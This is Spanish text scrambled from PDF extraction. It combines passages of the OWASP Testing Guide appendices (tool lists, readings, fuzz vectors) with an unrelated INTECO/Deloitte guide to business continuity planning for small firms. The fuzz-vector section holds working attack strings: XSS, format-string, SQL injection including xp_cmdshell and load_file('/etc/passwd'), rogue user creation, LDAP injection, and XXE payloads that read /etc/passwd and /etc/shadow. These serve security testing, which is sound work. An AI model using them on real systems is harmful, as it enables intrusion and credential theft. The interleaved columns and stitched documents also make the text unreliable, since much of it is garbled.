• Visualiza encabezados HTTP de una página mientras navega. objetivo del proyecto es encontrar y explotar las vulnerabilidades de la aplicaciones
web.
• DOM Evaluador es una herramienta de desarrollador que se usa para HTTP Request Maker - chrome.google.com
inspeccionar, navegar y editar un Documento de Modelo de Objeto (Document
Object Model (DOM)). • Request Maker es una herramienta de pruebas de penetración. Con esta
aplicación puede capturar fácilmente solicitudes realizadas por páginas web, alterar
los encabezados URL e información POST y, por supuesto, realizar nevas
solicitudes.
Firefox Firebug - getfirebug.com
Wikto - sensepost.com
Prueba de Oracle
Prueba de AJAX
• TNS Listener tool (Perl: jammed.com
• OWASP Sprajax Project: owasp.org
• Toad for Oracle: quest.com
• “Un depurador basado en Windows que se usa para analizar las vulnerabilidades
• Bsqlbf-v2: Un script Perl que permite la extracción de datos de de saturación del búfer”
• Un framework de distorción que puede usarse para explorar vulnerabilidades y • SoapUI (Web Service security testing): soapui.org
realizar pruebas de larga duración de Fuerza Bruta Binaria (Brute Force Binary
Tester (BFB)) : • Netsparker: mavitunasecurity.com
Metasploit: metasploit.com
• PMD: pmd.sourceforge.net
• Stach & Liu’s Google Hacking Diggity Project: bishopfox.com • Microsoft’s FxCop: msdn.microsoft.com
• Boon: cs.berkeley.edu
Herramientas de código fuente • Uno de los primeros marcos de prueba web; adolece de usar el nativo
JDK proporcionando transporte HTTP que puede ser un poco limitante
• Un marco de pruebas basado en la web Ruby que proporciona una para las pruebas de seguridad.
interfaz en Internet Explorer.
• Watij: watij.com
• Windows solamente.
• Solex: solex.sourceforge.net
• Muy robusto y configurable y se utiliza como motor para un número de
otras herramientas de prueba.
• Selenium: seleniumhq.org
• Un meta-marco basado en Java que utiliza htmlunit o selenium como
motor de prueba.
• Rational PurifyPlus: 01.ibm.com • Security Considerations in the System Development Life Cycle
Analisis Binario • The Security of Applications: Not All Are Created Equal:
• Veracode: veracode.com
• wget: gnu.org
• curl: curl.haxx.se • Use Cases: Just the FAQs and Answers: ibm.com
Guía de pruebas OWASP Apéndice B: Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison: Wesley, ISBN 0321304861 (2006)
Lecturas sugeridas
• Improving Web Application Security: Threats and Countermeasures: • The Ethical Hack: A Framework for Business Value Penetration
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004): • Secure Coding: Principles and Practices, by Mark Graff and Kenneth
exploitingsoftware.com
R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003):
securecoding.org
• The Hacker’s Handbook: The Strategy behind Breaking into and
(2004): dwheeler.com
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN • Software Security: Building Security In, by Gary McGraw, published
9781118026472 (2011)
by Addison-Wesley Professional, ISBN 0321356705 (2006)
• + Online version available at: books.google.com • The Unified Modeling Language User Guide, by Grady Booch, James
Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN
0-201-57168-4 (1998)
• Mastering the Requirements Process, by Suzanne Robertson and Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast,
by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)
James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
• CERT Secure Coding: cert.org • OWASP Vulnerable Web Applications Directory Project: owasp.org
• Exploit and Vulnerability Databases: buildsecurityin.us-cert.gov • Damn Vulnerable Web App: blog.dewhurstsecurity.com
• OASIS Web Application Security (WAS) TC: oasis-open.org • + Hacme Shipping: mcafee.com
• The Open Web Application Application Security Project (OWASP: • Mutillidae: irongeek.com
• Pentestmonkey - Pen Testing Cheat Sheets: pentestmonkey.net • Vicnum: vicnum.sourceforge.net and owasp.org
• Secure Coding Guidelines for the .NET Framework 4.5: • WebGoat: owasp.org
• System Administration, Networking, and Security Institute (SANS): Guía de pruebas de OWASP Apéndice C: Vectores Fuzz
sans.org Los siguientes son vectores fuzzing que se pueden utilizar con
WebScarab, JBroFuzz, WSFuzzer, ZAP u otro fuzzer. Fuzzing es el enfoque
• Technical INFO - Making Sense of Security: technicalinfo.net del "fregadero de la cocina" en inglés: "kitchen sink" para probar la
respuesta de una aplicación al parámetro manipulación. En general, se
• Web Application Security Consortium: webappsec.org buscan condiciones de error que se generan en una aplicación como
resultado de fuzzing. Esta es la parte sencilla de la fase de
• Web Application Security Scanner List : projects.webappsec.org descubrimiento. Una vez que el error ha sido descubierto, se requiere
habilidad para identificar y explotar una vulnerabilidad potencial.
• Web Security - Articles: acunetix.com
Categorías fuzz
Videos
“><STYLE>@import”javascript:alert(‘XSS’)”;</STYLE>
http://www.example.com/8302fa3b alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu
ot;)>
http://www.example.com/00000000 “>
... >”
http://www.example.com/11000fff ‘’;!--”<XSS>=&{()}
<IMG SRC=javascript:alert(‘XSS’)>
le&<WBR>#114;t('XS<WBR>;S&
#39;)>
La realización de pruebas de Cross Site Scripting (XSS) mediante el envío
de los siguientes vectores fuzz: <IMGSRC=ja&<WBR>#0000118as
&<WBR>#0000099ri&<WBR>#0000112t�
http://www.example.com/>”><script>alert(“XSS”)</script>&
000058
http://www.example.com/’’;!--”<XSS>=&{()}
&<WBR>#0000097le&<WBR>#0000114t�
000040&<WBR>#0000039XS&<WBR>#0000083�
39)>
Esta es una forma de ocultamiento por reemplazo. En esta categoría, el
número total de solicitudes depende del número de vectores fuzz
especificados.
<IMG SRC=”jav
ascript:alert(<WBR>’XSS’);”>
Tenga en cuenta que el intento de cargar un archivo de definición de este tipo
dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se
bloquee
Desbordamiento de búfer y de error de formato de cadena
%s%p%x%d
Buffer Overflows (BFO) (desbordamiento de búfer)
.1024d
Un desbordamiento de memoria o un ataque de corrupción de memoria
es una condición de programación que permite el desbordamiento de %.2049d
datos válidos, más allá de su límite de almacenamiento preubicado en la
memoria. %p%p%p%p
%x%x%x%x
%99999999999s
Tenga en cuenta que el intento de cargar un archivo de definición de este
tipo dentro de una aplicación fuzzer puede potencialmente causar que la %08x
aplicación se bloquee.
%%20d
A x5
%%20n
A x 17
%%20x
A x 33
%%20s
A x 65
%s%s%s%s%s%s%s%s%s%s
A x 129
%p%p%p%p%p%p%p%p%p%p
A x 257
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%
A x 513 a%C%S%08x%%
A x 1024 %s x 129
A x 2049
-1 ‘ OR 1=1--
0 OR 1=1
0x100 ‘ OR ‘1’=’1
0x1000 ; OR ‘1’=’1’
0x3fffffff %22+or+isnull%281%2F0%29+%2F*
0x7ffffffe %27+OR+%277659%27%3D%277659
0x7fffffff %22+or+isnull%281%2F0%29+%2F*
0x80000000 %27+--+
0xfffffffe ‘ or 1=1--
0xffffffff “ or 1=1--
0x10000 ‘ or 1=1 /*
0x100000 or 1=1--
Este ataque puede afectar a la capa de base de datos de una aplicación y “ or “a”=”a
normalmente está presente cuando la entrada del usuario no está filtrada
para declaraciones SQL. ‘) or (‘a’=’a
Admin’ OR ‘
‘ having 1=1--
• Inyección S L Pasiva (Passive SQL Injection)
‘ group by userid having 1=1--
• Inyección S L Activa ( Active S L Injection)
‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = tablename’)--
Las declaraciones de inyección SQL activas pueden tener un efecto ‘ or 1 in (select @@version)--
perjudicial en la base de datos subyacente si se ejecutan con éxito.
‘ union all select @@version--
‘ OR ‘unusual’ = ‘unusual’
Inyección SQL Pasiva (SQP)
‘ OR ‘something’ = ‘some’+’thing’
‘||(elt(-3+5,bin(15),ord(10),hex(char(45))))
‘ OR ‘text’ = N’text’
||6
‘ OR ‘something’ like ‘some%’
‘||’6
‘ OR 2 > 1
‘ OR ‘whatever’ in (‘whatever’) INSERT INTO mysql.user (user, host, password) VALUES (‘name’, ‘localhost’,
PASSWORD(‘pass123’))
‘ OR 2 BETWEEN 1 and 3
GRANT CONNECT TO name; GRANT RESOURCE TO name;
‘ or username like char(37);
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) +
‘ union select * from users where login = char(114,111,111,116); char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
Password:*/=1--
‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’ para detalles de la inyección LDAP: Prueba de inyección LDAP
‘/**/OR/**/1/**/=/**/1 !
‘ or 1/* (
+or+isnull%281%2F0%29+%2F* )
%27+OR+%277659%27%3D%277659 %28
%22+or+isnull%281%2F0%29+%2F* %29
%27+--+&password= &
*|
‘ and 1 in (select var from temp)--
%2A%7C
‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
*(|(mail=*))
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
%2A%28%7C%28mail%3D%2A%29%29
‘ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
Inyección SQL Activa (SQI)
*()|%26’
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’--
admin*
CREATE USER name IDENTIFIED BY ‘pass123’
admin*)((|userPassword=*)
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users; *)(uid=*))(|(uid=*
/
En el espacio de seguridad de la aplicación, y debido a la gran cantidad de
// esquemas de codificación disponibles, la codificación de caracteres tiene
un mal uso popular. Está siendo utilizada para la codificación de
//* secuencias de inyección maliciosas en una manera que las ofusca. Esto
puede conducir a la desviación del ingreso de filtros de validación, o a
*/* sacar ventaja de las formas particulares en que los navegadores muestran
el texto codificado.
@*
count(/child::node())
Codificación de entrada - Evasión de filtro
x’+or+name()=’username’+or+’x’=’y
Las aplicaciones web suelen emplear diferentes tipos de mecanismos de
filtro de entrada para limitar las entradas que pueden ser enviadas por el
usuario. Si estos filtros de entrada no se aplican lo suficientemente bien,
Inyección XML es posible deslizar uno o dos caracteres a través de estos filtros. Por
ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras
Los detalles de la Inyección XML están aquí: Prueba de inyección XML que el mismo carácter (/) se codifica como C0 AF en Unicode (secuencia 2
byte). Por lo tanto, es importante que el filtrado de control de entrada
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
tenga en cuenta el esquema de codificación utilizado. Si se encuentra que
el filtro está detectando sólo inyecciones codificadas UTF-8, se puede
<?xml version=”1.0” encoding=”ISO-8859-
emplear un esquema de codificación diferente para evitar este filtro.
1”?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘gotcha’);<![CDATA[<
]]>/SCRIPT<![CDATA[>]]></foo> Codificación de salida - Servidor y Navegador de Consenso
<?xml version=”1.0” encoding=”ISO-8859-1”?><foo><![CDATA[‘ or 1=1 or Los navegadores web deben estar conscientes del esquema de
‘’=’]]></foof> codificación utilizado para mostrar coherentemente una página web.
Idealmente, esta información debe ser proporcionada al navegador en el
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT encabezado HTTP ("Content-Type"), como se muestra a continuación:
foo ANY><!ENTITY xxe SYSTEM “file://c:/boot.ini”>]><foo>&xee;</foo>
Content-Type: text/html; charset=UTF-8
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT
foo ANY><!ENTITY xxe SYSTEM “file:///etc/passwd”>]><foo>&xee;</foo>
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT o a través de la etiqueta HTML META (“META HTTP-E UIV”), como se
foo ANY><!ENTITY xxe SYSTEM “file:///etc/shadow”>]><foo>&xee;</foo> muestra a continuación:
Codificación básica
Considere un filtro básico de validación de entrada que protege contra la Aunque cada esquema de codificación no puede trabajar cada vez, un
inyección de carácter de comilla simple. En este caso, la inyección que poco de ensayo y error, junto con manipulaciones inteligentes, sin duda
está a continuación evitaría fácilmente este filtro: revelarán la brecha en un filtro de validación de entrada que haya sido
débilmente construido.
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Codificación Multi-byte
Referencias
• http://en.wikipedia.org/wiki/Encode_(semiotics)
• http://ha.ckers.org/xss.html
• http://www.cert.org/tech_tips/malicious_code_mitigation.html
• http://www.w3schools.com/HTML/html_entities.asp
• http://www.iss.net/security_center/advice/Intrusions/
2000639/default.htm
• http://searchsecurity.techtarget.com/expert/Knowledgebase-
Answer/0,289625,sid14_gci1212217_tax299989,00.html
• http://www.joelonsoftware.com/articles/Unicode.html
La misión de INTECO es aportar valor e innovación a los ciudadanos, a las pymes, a las Administraciones
Públicas y al sector de las tecnologías de la información, a través del desarrollo de proyectos que
contribuyan a reforzar la confianza en los servicios de la Sociedad de la Información en nuestro
país, promoviendo además una línea de participación internacional. Para ello, INTECO desarrollará
actuaciones, al menos, en líneas estratégicas de Seguridad Tecnológica, Accesibilidad, Calidad TIC y
Formación.
Datos de contacto:
Instituto Nacional de Tecnologías de la Comunicación (INTECO)
Observatorio de la Seguridad de la Información
Avda. José Aguado, 41. Edificio INTECO. 24005 León
Teléfono: +(34) 987 877 189 / Email: observatorio@inteco.es
www.inteco.es
Deloitte cuenta con un grupo encargado de realizar servicios correspondientes a la gestión del riesgo
informático que se denomina Enterprise Risk Services (ERS). Este grupo está formado por cerca
de 200 profesionales, 7 socios en España y varios miles de especialistas a nivel mundial, dedicados
exclusivamente a servicios de auditoría informática, seguridad informática, identificación y gestión
de los riesgos de las operaciones asociados a los sistemas de información, así como a servicios
enfocados a mantener el nivel de control interno requerido en la utilización de la tecnología. Como parte
de la estrategia de diferenciación en los servicios prestados, debemos destacar la cualificación de su
equipo de profesionales, quienes atesoran más de 300 certificaciones en materia de seguridad de la
información, continuidad de las operaciones y auditoría informática.
Datos de contacto:
Deloitte
Plaza Pablo Ruíz Picasso, 1. Torre Picasso. 28020 Madrid
Teléfono: +(34) 915 14 50 00
Fax: + (34) 915 14 51 80
Si desea información adicional, por favor, visite www.deloitte.es
6. Estructura de la guía 19
(5
1. ¿A quién va dirigida?
De forma más concreta, la intención de esta guía es que sea explotada por
aquel al que le ha sido encomendada la responsabilidad de ejecutar las me-
didas orientadas a garantizar la continuidad de sus actividades de negocio
(ya sea el área de tecnología y sistemas, el área de auditoría o gestión de
riesgos, o incluso personal al que se le encarga la gestión sin tener conoci-
mientos previos).
Las razones por las que esta guía va dirigida principalmente a la PYME es-
pañola son varias:
¿A quién va dirigida? (7
Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio
8) ¿A quién va dirigida?
2. ¿Por qué es importante la continuidad?
Cada año son millones las organizaciones que padecen inundaciones, in-
cendios, ataques terroristas, actos vandálicos y otras amenazas. Las com-
pañías que logran superar estos traumas son las previsoras, las que están
preparadas para enfrentarse a lo peor, las que estiman los posibles daños
que pueden sufrir y ponen en marcha las medidas necesarias para prote-
gerse.
Así por ejemplo, el citado cálculo para una entidad cuya actividad prin-
cipal es la comercialización y venta de bienes por Internet debería con-
templar: el número de interrupciones que puede tener en un año, el tiem-
po (por ejemplo, en horas) que no va a poder dar servicios y el coste por
hora que conlleva la interrupción de su actividad:
Estructura de la guía ( 19
Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio
• Fase VI. Mantenimiento del Plan: teniendo en cuenta que todo Plan
de Continuidad de Negocio debe ser difundido, revisado, actualizado
y probado regularmente, esta fase describe acciones de difusión y
formación del Plan, así como las pruebas y el proceso de mejora continua
del mismo.
20 ) Estructura de la guía
7. Fase I: Diseño del plan y establecimiento
de la política de continuidad de negocio
7.1. OBJETIVOS
7.2. TAREAS
7.4. RECOMENDACIONES
• Liderazgo.
8.1. OBJETIVOS
8.2. TAREAS
A modo de ejemplo, se presenta una tabla que incluye que las actividades
de negocio de una organización y que podría servir como punto de arranque
del trabajo de identificar y conocer en detalle todas las operaciones de ne-
gocio de la organización:
• Comercialización de productos
• Marketing
Ventas
• Facturación
• Gestión de impagos
• Contabilidad
Administración y finanzas • Cuentas de resultados
• Tesorería
• Gestión contractual
Asesoría jurídica
• Gestión societaria
• Auditoría de las actividades de negocio
Auditoría interna
• Reporting a la dirección
Por ejemplo, si una compañía que comercializa sus productos por Inter-
net sufre la caída de su línea de conexión a Internet durante 3 horas y
consecuentemente calcula que las pérdidas asociadas a la interrupción
ascienden a 60.000 €, la citada línea de comunicación será considerada
un recurso crítico para la compañía y tendrá que adoptar una estrategia
de continuidad prioritaria consistente en implantar una línea de comuni-
cación redundante y alternativa.
Es decir, del hecho de concluir que la tecnología que habilita el proceso de ges-
tión de nóminas tiene una prioridad de recuperación “alta”, se deriva que dicho re-
curso es crítico y por tanto más importante que otros (responsable de Recursos
Humanos o archivos en papel) desde el punto de vista de su recuperación.
Cuanto más cortos son el RTO y el RPO, más complejos y caros son los pla-
nes de continuidad de negocio. Estos dos parámetros deciden también las
diferentes estrategias de recuperación que serán explicadas en el apartado
10 de esta guía.
Ubicación en el tiempo del RTO y el MTD antes de que una empresa sufra pérdidas graves
Interrelaciones entre las variables que componen el riesgo (activo, amenaza, vulnerabilidad)
Amenazas Activos
riesgos. Acti
ena
vos
Las amenazas más importantes
Am
Vulnerabilidades
Tipo de Análisis
Descripción Ventajas Inconvenientes
de Riesgos
• Sencillez
Basado en
• Rapidez
clasificaciones
Cualitativo • Equilibrio Subjetividad
descriptivas y
Coste-Beneficio
subjetivas del riesgo
• Uso extendido
* Riesgo (R)= Impacto (I) Alto x Probabilidad (P) Alta= Riesgo crítico
Las distintas opciones para hacer frente a los riesgos pueden ser utilizadas
conjuntamente, si bien es destacable que no todos los riesgos pueden ser
reducidos o prevenidos a un nivel aceptable.
Por otro lado, es habitual que las organizaciones adopten procesos de ges-
tión de riesgos que generan matrices de análisis complejas y engorrosas de
desarrollar y mantener, perdiendo la visión a alto nivel y el “sentido común”
necesario para determinar en última instancia qué riesgos deben ser toma-
dos en consideración.
8.4. RECOMENDACIONES
9.1. OBJETIVOS
9.2. TAREAS
Tomando como base los resultados del BIA y del análisis de riesgos, la
organización debe identificar y aplicar controles o medidas de seguridad
que:
9.4. RECOMENDACIONES
¿ A quién va dirigida? ( 45
10. Fase IV: Estrategias de recuperación
10.1. OBJETIVOS
En base a los resultados del BIA y del análisis de riesgos, el objetivo perseguido
en esta fase consiste en identificar las alternativas de recuperación de las
actividades críticas de la organización en los marcos de tiempo definidos y
aceptados.
10.2. TAREAS
• Copias de seguridad
Garantizar la protección y
Información y • Procedimientos de recuperación
recuperación de la información
Documentación • Documentación de activación del
vital para la organización
plan de continuidad
• Contacto con proveedores
Identificar y mantener un alternativos
inventario de proveedores de • Acuerdos con terceros
Proveedores
servicios clave que soportan • Envío y almacenamiento de
las actividades críticas recursos críticos en ubicaciones
alternativas
• Ampliar el contrato de
• Reconstruir o • Reconstruir, alquilar o
Meses emplazamiento de
reubicar comprar
recuperación
• Edificios
• Expansión del
prefabricados en
emplazamiento de • Oficinas amuebladas.
el mismo sitio
Semanas recuperación Subcontratación de
• Adaptación de
• Unidades prefabricadas y procesos
edificios para
móviles alquiladas
otros usos
• Emplazamiento para
• Emplazamiento
la recuperación de la
de recuperación
actividad comercial
Días “in situ” • Oficinas gestionadas
• Acuerdos recíprocos
• Trabajo desde
• Instalaciones móviles
casa
• Procesos subcontratados
• Reubicar un equipo
• Varias ubicacio-
reducido de personas a un
Horas nes con personal
emplazamiento de
reasignado
recuperación contratado
10.4. RECOMENDACIONES
11.1. OBJETIVOS
Es decir, una vez que las estrategias han sido definidas, deben ser
documentadas y puestas en marcha por los encargados de la continuidad
de negocio de la organización.
Así los esfuerzos pasan de una fase de planificación a una fase de acción e
implementación en la que se pretende:
11.2. TAREAS
Es posible destacar funciones clave que serán llevadas a cabo por los
responsables (personas o equipos, dependiendo del tamaño y de los recursos
de la empresa) de la activación y ejecución del plan de continuidad de negocio:
Una vez que se han definido las figuras o equipos, así como las funciones
a desempeñar por los mismos, la empresa debe desarrollar los planes o
procedimientos de actuación a seguir.
La siguiente ilustración muestra las tres principales fases que deben tener
lugar en el tiempo a raíz de la identificación de un incidente. El objetivo de
dichas fases en conjunto es que la organización recupere la normalidad de
sus actividades en el menor tiempo posible.
Respuesta a incidentes
Procedimientos de recuperación
Puede ser activado dentro del plan de respuesta ante incidentes y, tal y como
se ha comentado en esta guía, tienen el objetivo de recuperar en el menor
tiempo posible las actividades críticas de una organización que se han visto
interrumpidas por un desastre.
11.4. RECOMENDACIONES
12.1. OBJETIVOS
• En el de dirección y supervisión.
• En el de ejecución y operación.
Aunque sería lo ideal, es obvio que las compañías que deciden realizar
tales pruebas no pueden permitirse el lujo de paralizar completamente su
producción, por lo que las pruebas deben tener lugar en áreas y momentos
específicos que no penalicen la entrega de sus productos y servicios (en
definitiva, el negocio).
12.4. RECOMENDACIONES
Por otro lado, y como medida general, se recomienda que los planes de
continuidad de negocio, aparte de ser flexibles, sean testados al menos una
vez al año a través de la realización periódica de simulacros que reproduzcan
de forma ficticia situaciones de emergencia o contingencia. Dicha periodicidad
depende de las necesidades que determine la organización y el entorno en
el que opera.
La activación del Plan de La ejecución por parte de una organización de un plan de continuidad
de negocio no se produce ante cualquier incidente de seguridad, sino en
Continuidad es la opción
situaciones de crisis/emergencia perfectamente definidas y una vez que las
recurrida en última estancia medidas de seguridad preventivas han fallado.
POLÍTICA DE MANTENIMIENTO/
PROCEDIMIENTOS/
CONTINUIDAD/ + PLANES + FORMACIÓN + ACTUALIZACIÓN/ = CONTINUIDAD
ESTRATEGIA PRUEBAS
Más información ( 69
Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio
• Http://cert.inteco.es/extfrontinteco/img/File/intecocert/sgsi/.
INTECO-CERT en su objetivo de sensibilizar sobre la importancia
de estos sistemas de gestión, cuenta con una sección de SGSI en
la que trata a lo largo de los diferentes apartados los conceptos más
importantes sobre su normativa, modelo y beneficios, así como las
diferentes fases de su implementación.
70 ) Más información
• www.bsigroup.es – British Standards Institute (BSI) para España:
entidad dedicada a la creación de normas para la estandarización
de los procesos, en este caso destaca la citada BS 25999, la cual
puede ser adquirida en formato papel o digital visitando la tienda de
BSI en Internet http://shop.bsigroup.com/.
Más información ( 71
15. ANEXO I: Glosario
72 ) ANEXO I: Glosario
La parte II del estándar de continuidad de negocio BS 25999:2006 establece
los requerimientos de planificación, establecimiento, implementación,
operación, monitorización, revisión, práctica, mantenimiento y mejora del
Plan de Continuidad de Negocio bajo un proceso de gestión cíclico y no
como una acción o proyecto puntual con principio y fin.
• Conmutación: de forma general se refiere a la acción de cambiar una cosa
por otra. En el contexto de la guía hace referencia al cambio de las líneas
de comunicación para establecer la conexión con el centro de respaldo
alternativo.
• Contingencia: suceso no deseado que afecta a la continuidad normal de
las operaciones de la organización.
• Control: mecanismo que se emplea con el fin de reducir el riesgo asociado
a una o varias amenazas. Es frecuente el uso análogo del término “Medida
de Seguridad”.
• Desastre: problema o evento no planificado, cuya consecuencia es la
interrupción de los procesos de negocio durante un periodo de tiempo. Este
tiempo de paralización de los procesos es superior a lo que la organización
puede soportar sin sufrir perjuicios considerables para el negocio.
• Disponibilidad: característica, cualidad o condición de un proceso de
negocio/activo/recurso de encontrarse a disposición de la organización.
• EAR/PILAR: herramienta de análisis de riesgos que implementa la
metodología Magerit, desarrollada por el Centro Criptológico Nacional
(CCN – www.ccn-cert.cni.es) y de amplia utilización en la administración
pública española.
• Gestión de riesgos: desarrollo y aplicación ordenada de políticas,
procedimientos y prácticas para identificar, analizar, evaluar y controlar la
respuesta a los riesgos.
• Impacto: consecuencia evaluada de una interrupción.
ANEXO I: Glosario ( 73
Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio
74 ) ANEXO I: Glosario
• OCTAVE (Operationally Critical Threat, Asset and Vulnerability Evaluation,
por sus siglas en inglés): es un conjunto de herramientas, técnicas y
métodos (desarrollados por el CERT Coordination Center del Software
Engineering Institute de la Universidad Carnegie Mellon de Pensilvania,
Estados Unidos) empleados para el análisis de riesgos tecnológicos
(disponible en http://www.cert.org/octave/.)
• Plan de continuidad de Negocio (PCN) o Business Continuity Plan (BCP
por sus siglas en inglés) es un conjunto de directrices, criterios, normas
de actuación y herramientas organizativas que, ante la ocurrencia de una
contingencia que provocase la interrupción de alguna o todas las áreas de
negocio de una organización, permiten la recuperación de la operatividad
de las mismas en el menor tiempo posible, de modo que las pérdidas
económicas ocasionadas sean mínimas.
• Plan de recuperación ante desastres (PRD) o Disaster Recovery Plan
(DRP por sus siglas en inglés): constituye una parte del Plan de Continuidad
de Negocio en aquellas compañías que dispongan de infraestructura
tecnológica para soportar sus operaciones y, de forma análoga al Plan de
Continuidad de Negocio, consta de todas las prácticas necesarias que,
en caso de desastre, permiten recuperar en el menor tiempo posible el
entorno tecnológico (sistemas, aplicaciones e infraestructuras) que soporta
las actividades de una organización.
• Problema: causa subyacente, aún no identificada, de una serie de
incidentes o un incidente aislado de importancia significativa.
• Punto de Recuperación Objetivo – RPO (Recovery Point Objective por
sus siglas en inglés): cantidad de información que la organización puede
llegar a perder como consecuencia de un desastre. Marca desde un punto
de vista tecnológico la estrategia de realización de copias de seguridad de
la información.
• Reingeniería de procesos actividad de rediseño de los procesos con el
fin de mejorar los mismos y crear beneficios y ventajas competitivas.
ANEXO I: Glosario ( 75
Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio
76 ) ANEXO I: Glosario
¿Quieres seguirnos?
en la web: http://observatorio.inteco.es
en Twitter: @ObservaINTECO